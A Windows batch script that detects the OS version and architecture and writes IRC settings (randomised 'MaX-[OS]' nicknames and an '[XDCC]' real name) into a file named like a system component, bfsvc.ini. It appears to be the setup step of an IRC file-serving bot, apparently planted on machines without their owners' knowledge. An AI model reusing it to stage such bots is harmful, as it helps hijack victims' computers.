rem @echo off

ver | find "2003" > nul
if %ERRORLEVEL% == 0 goto ver_2003

ver | find "XP" > nul
if %ERRORLEVEL% == 0 goto ver_xp

ver | find "2000" > nul
if %ERRORLEVEL% == 0 goto ver_2000

ver | find "NT" > nul
if %ERRORLEVEL% == 0 goto ver_nt

if not exist %SystemRoot%\system32\systeminfo.exe goto notapplic

systeminfo | find "OS Name" > %TEMP%\osname.txt
FOR /F "usebackq delims=: tokens=2" %%i IN (%TEMP%\osname.txt) DO set vers=%%i

echo %vers% | find "Windows 7" > nul
if %ERRORLEVEL% == 0 goto ver_7

echo %vers% | find "Windows Server 2008" > nul
if %ERRORLEVEL% == 0 goto ver_2008

echo %vers% | find "Windows Vista" > nul
if %ERRORLEVEL% == 0 goto ver_vista

goto notapplic

:ver_7
:Run Windows 7 specific commands here.
ECHO user_nick MaX-[W7]-%random% >> bfsvc.ini
goto arch

:ver_2008
:Run Windows Server 2008 specific commands here.
ECHO user_nick MaX-[S8]-%random% >> bfsvc.ini
goto arch

:ver_vista
:Run Windows Vista specific commands here.
ECHO user_nick MaX-[VS]-%random% >> bfsvc.ini
goto arch

:ver_2003
:Run Windows Server 2003 specific commands here.
ECHO user_nick MaX-[S3]-%random% >> bfsvc.ini
goto arch

:ver_xp
:Run Windows XP specific commands here.
ECHO user_nick MaX-[XP]-%random% >> bfsvc.ini
goto arch

:ver_2000
:Run Windows 2000 specific commands here.
ECHO user_nick MaX-[2K]-%random% >> bfsvc.ini
goto arch

:ver_nt
:Run Windows NT specific commands here.
ECHO user_nick MaX-[NT]-%random% >> bfsvc.ini
goto arch

:notapplic
ECHO user_nick MaX-[NA]-%random% >> bfsvc.ini
goto arch
rem :exit


rem @ECHO off
:arch
SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION

FOR /f "tokens=1,2* delims=." %%a IN ('ver') DO (

SET WVer=%%a
SET WVer=!WVer:~-1!
SET WVer=!WVer!.%%b.%%c
SET WVer=!WVer:]=!
)

IF DEFINED ProgramFiles(x86) (
SET OSBit=x64
) ELSE (
SET OSBit=x86
)

ECHO user_realname [XDCC]-%WVer%-%OSBit% >> bfsvc.ini

:exit